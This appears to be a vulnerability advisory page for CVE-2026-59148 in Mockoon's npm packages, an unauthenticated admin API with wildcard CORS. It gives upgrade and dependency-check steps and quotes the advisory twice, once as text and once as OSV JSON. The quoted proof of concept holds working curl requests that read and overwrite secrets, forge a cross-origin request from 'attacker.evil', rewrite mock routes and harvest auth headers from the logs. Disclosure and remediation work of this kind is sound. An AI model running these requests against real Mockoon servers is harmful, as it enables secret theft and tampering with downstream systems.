CVE-2026-59148: @Mockoon/commons-server Unauthenticated Admin API + Wildcard Vulnerability

HIGH
Advisory Identifier: GHSA-rqx4-3f6q-3x2v
CVSS 8.8
CWE-732 CWE-942 CWE-306 CWE-352
Published
Advisory Summary

CVE-2026-59148 is a HIGH (CVSS 8.8) unauthenticated admin api + wildcard vulnerability (CWE-732: Incorrect Permission Assignment for Critical Resource) affecting @Mockoon/commons-server libraries in the npm ecosystem. The issue involves unauthenticated admin api + wildcard cors allows mock-state hijack and secret theft. Remediation is available by upgrading affected packages to version 9.7.0.

CVE-2026-59148 at a Glance

CVE Identifier CVE-2026-59148
GHSA Identifier GHSA-rqx4-3f6q-3x2v
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-732: Incorrect Permission Assignment for Critical Resource
Affected Product @Mockoon/commons-server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-59148

To remediate this vulnerability, upgrade all affected @Mockoon/commons-server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@mockoon/commons-server fixed: 9.7.0
npm install @mockoon/commons-server@9.7.0
@mockoon/cli fixed: 9.7.0
npm install @mockoon/cli@9.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @mockoon/commons-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59148, inspect your project dependencies using npm:

npm ls @mockoon/commons-server

Analyze the terminal output to locate any version of @Mockoon/commons-server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.7.0), your application is affected.

Note: The npm ls @mockoon/commons-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-732: Incorrect Permission Assignment for Critical Resource, where the product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. In @Mockoon/commons-server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits). Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can: - Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper). - **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes. - **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs. Because of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked. --- ## Details ### Root cause `packages/commons-server/src/libs/server/server.ts:127`: ```ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on }; ``` `packages/cli/src/commands/start.ts:200`: ```ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed ``` `packages/serverless/src/libs/serverless.ts:21`: ```ts enableAdminApi: true, // ← default on, no flag to disable in the constructor ``` `packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint): ```ts app.use(`${adminApiPrefix}*`, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); }); ``` `packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE): ```ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: `Environment variable '${key}' has been set to '${value}'` }); } else { throw new Error('Key or value missing from request'); } } catch (_error) { res.status(400).send({ message: 'Invalid request' }); } }; ``` `packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite): ```ts app.put(`${adminApiPrefix}/environment`, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (_error) { res.status(400).send({ message: 'Invalid environment format' }); } }); ``` Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`. --- ## PoC ### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`) `npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with: ``` MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file ``` Bind confirmed via `lsof`: ``` COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces ``` Baseline mock response: ``` $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 1) Read operator secret unauth ``` $ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY HTTP/1.1 200 OK access-control-allow-origin: * {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 2) Poison operator secret unauth → downstream consumer ingests attacker value ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"} $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"} ``` #### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"} ``` #### 4) Cross-origin CSRF from `https://attacker.evil` ``` $ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"} ``` Wildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript. #### 5) Rewrite every mock route via unauth `PUT /environment` ``` $ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"} $ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true} ``` #### 6) Read transaction logs / SSE stream → harvest consumer's auth headers ``` $ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2 ``` Each log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE. #### 7) Purge state (DoS) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"} ``` --- ## Impact In typical local-dev mode (CVSS 8.8 High): - Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any `process.env` key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS. In network-exposed deployment (CVSS 9.4 Critical): - All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments. --- ## Suggested fix 1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`. 2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler — reject any `key` that doesn't start with `envVarsPrefix`. 5. Add `SECURITY.md` with disclosure instructions. 6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.

CVE-2026-59148 Affected @Mockoon/commons-server Versions

2 component(s)
Fixed Versions:
9.7.0
Product / Package Ecosystem Affected Versions Fixed Version
@mockoon/commons-server
npm
< 9.7.0
9.7.0
@mockoon/cli
npm
< 9.7.0
9.7.0

References

Frequently Asked Questions

What is CVE-2026-59148?
CVE-2026-59148 is a security vulnerability in @Mockoon/commons-server involving Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft under CWE-732: Incorrect Permission Assignment for Critical Resource.
Which @Mockoon/commons-server versions are affected?
Affected versions include releases prior to 9.7.0 across affected packages: @mockoon/commons-server, @mockoon/cli.
What version fixes CVE-2026-59148?
Upgrading to 9.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @mockoon/commons-server affected?
Yes, @mockoon/commons-server is affected in releases prior to 9.7.0. Upgrade your dependency to 9.7.0 or later.
Is @mockoon/cli affected?
Yes, @mockoon/cli is affected in releases prior to 9.7.0. Upgrade your dependency to 9.7.0 or later.
What is the CVSS score of CVE-2026-59148?
CVE-2026-59148 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-59148?
CVE-2026-59148 is classified under CWE-732: Incorrect Permission Assignment for Critical Resource (The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.).
How can I check npm dependencies for CVE-2026-59148?
Run the dependency tree command: 'npm ls @mockoon/commons-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rqx4-3f6q-3x2v",
  "modified" : "2026-09-11T22:04:42Z",
  "published" : "2026-09-11T22:04:42Z",
  "aliases" : [ "CVE-2026-59148" ],
  "summary" : "@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft",
  "details" : "## Summary\n\nMockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits).\n\nAny unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can:\n\n- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).\n- **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.\n- **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.\n- Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).\n- Read/write global template vars; purge state / data buckets / logs.\n\nBecause of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.\n\n---\n\n## Details\n\n### Root cause\n\n`packages/commons-server/src/libs/server/server.ts:127`:\n\n```ts\nprivate options: ServerOptions = {\n  ...,\n  enableAdminApi: true,        // ← default on\n};\n```\n\n`packages/cli/src/commands/start.ts:200`:\n\n```ts\nenableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed\n```\n\n`packages/serverless/src/libs/serverless.ts:21`:\n\n```ts\nenableAdminApi: true,          // ← default on, no flag to disable in the constructor\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):\n\n```ts\napp.use(`${adminApiPrefix}*`, (req, res, next) => {\n  res.setHeaders(\n    new Headers({\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Methods':\n        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',\n      'Access-Control-Allow-Headers':\n        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'\n    })\n  );\n  next();\n});\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):\n\n```ts\nconst setEnvVarHandler = (req, res) => {\n  try {\n    const { key, value } = req.body;\n    if (key !== undefined && value !== undefined) {\n      process.env[key] = value;                            // ← any process env, any value\n      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });\n    } else {\n      throw new Error('Key or value missing from request');\n    }\n  } catch (_error) {\n    res.status(400).send({ message: 'Invalid request' });\n  }\n};\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite):\n\n```ts\napp.put(`${adminApiPrefix}/environment`, (req, res) => {\n  try {\n    const environment: Environment = EnvironmentSchema.validate(req.body).value;\n    if (!environment) {\n      res.status(400).send({ message: 'Invalid environment format' });\n      return;\n    }\n    updateEnvironment(environment);                        // ← runtime mutation of every route response\n    res.send({ message: 'Environment updated' });\n  } catch (_error) {\n    res.status(400).send({ message: 'Invalid environment format' });\n  }\n});\n```\n\nDefault `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`.\n\n---\n\n## PoC\n\n### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)\n\n`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with:\n\n```\nMOCKOON_API_KEY=\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\" \\\n  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file\n```\n\nBind confirmed via `lsof`:\n\n```\nCOMMAND  PID    USER  FD  TYPE  ...  NAME\nnode    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces\n```\n\nBaseline mock response:\n\n```\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 1) Read operator secret unauth\n\n```\n$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\n{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 2) Poison operator secret unauth → downstream consumer ingests attacker value\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-POISONED-BY-ATTACKER\"}'\n{\"message\":\"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'\"}\n\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-POISONED-BY-ATTACKER\"}\n```\n\n#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"key\":\"AWS_SECRET_ACCESS_KEY\",\"value\":\"overwritten-by-attacker\"}'\n{\"message\":\"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'\"}\n```\n\n#### 4) Cross-origin CSRF from `https://attacker.evil`\n\n```\n$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Access-Control-Request-Method: POST\" \\\n    -H \"Access-Control-Request-Headers: Content-Type\"\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\n\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-EXFIL-FROM-attacker.evil\"}'\n{\"message\":\"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'\"}\n```\n\nWildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.\n\n#### 5) Rewrite every mock route via unauth `PUT /environment`\n\n```\n$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{ ...full env JSON with route response rewritten to body \"ATTACKER_PWNED\",\n          statusCode 418, header X-Pwned: by-attacker.evil... }'\n{\"message\":\"Environment updated\"}\n\n$ curl -s -i http://127.0.0.1:3100/users/99\nHTTP/1.1 418 I'm a Teapot\nX-Pwned: by-attacker.evil\nContent-Type: application/json\n{\"id\":\"99\",\"name\":\"ATTACKER_PWNED\",\"role\":\"admin\",\"backdoor\":true}\n```\n\n#### 6) Read transaction logs / SSE stream → harvest consumer's auth headers\n\n```\n$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2\n```\n\nEach log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.\n\n#### 7) Purge state (DoS)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge\n{\"response\":\"Server has been reset to its initial state\"}\n```\n\n---\n\n## Impact\n\nIn typical local-dev mode (CVSS 8.8 High):\n\n- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets).\n- Secret write to any `process.env` key — poison operator's secrets, swap AWS/SDK creds.\n- Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).\n- Auth-token harvesting via transaction logs / SSE stream.\n- State purge / DoS.\n\nIn network-exposed deployment (CVSS 9.4 Critical):\n\n- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.\n\n---\n\n## Suggested fix\n\n1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`.\n2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`.\n3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.\n4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler — reject any `key` that doesn't start with `envVarsPrefix`.\n5. Add `SECURITY.md` with disclosure instructions.\n6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@mockoon/commons-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.7.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@mockoon/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59148"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/pull/2254"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mockoon/mockoon"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
  }, {
    "type" : "WEB",
    "url" : "https://mockoon.com/releases/9.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-352", "CWE-732", "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-11T22:04:42Z",
    "nvd_published_at" : "2026-07-09T19:17:07Z"
  }
}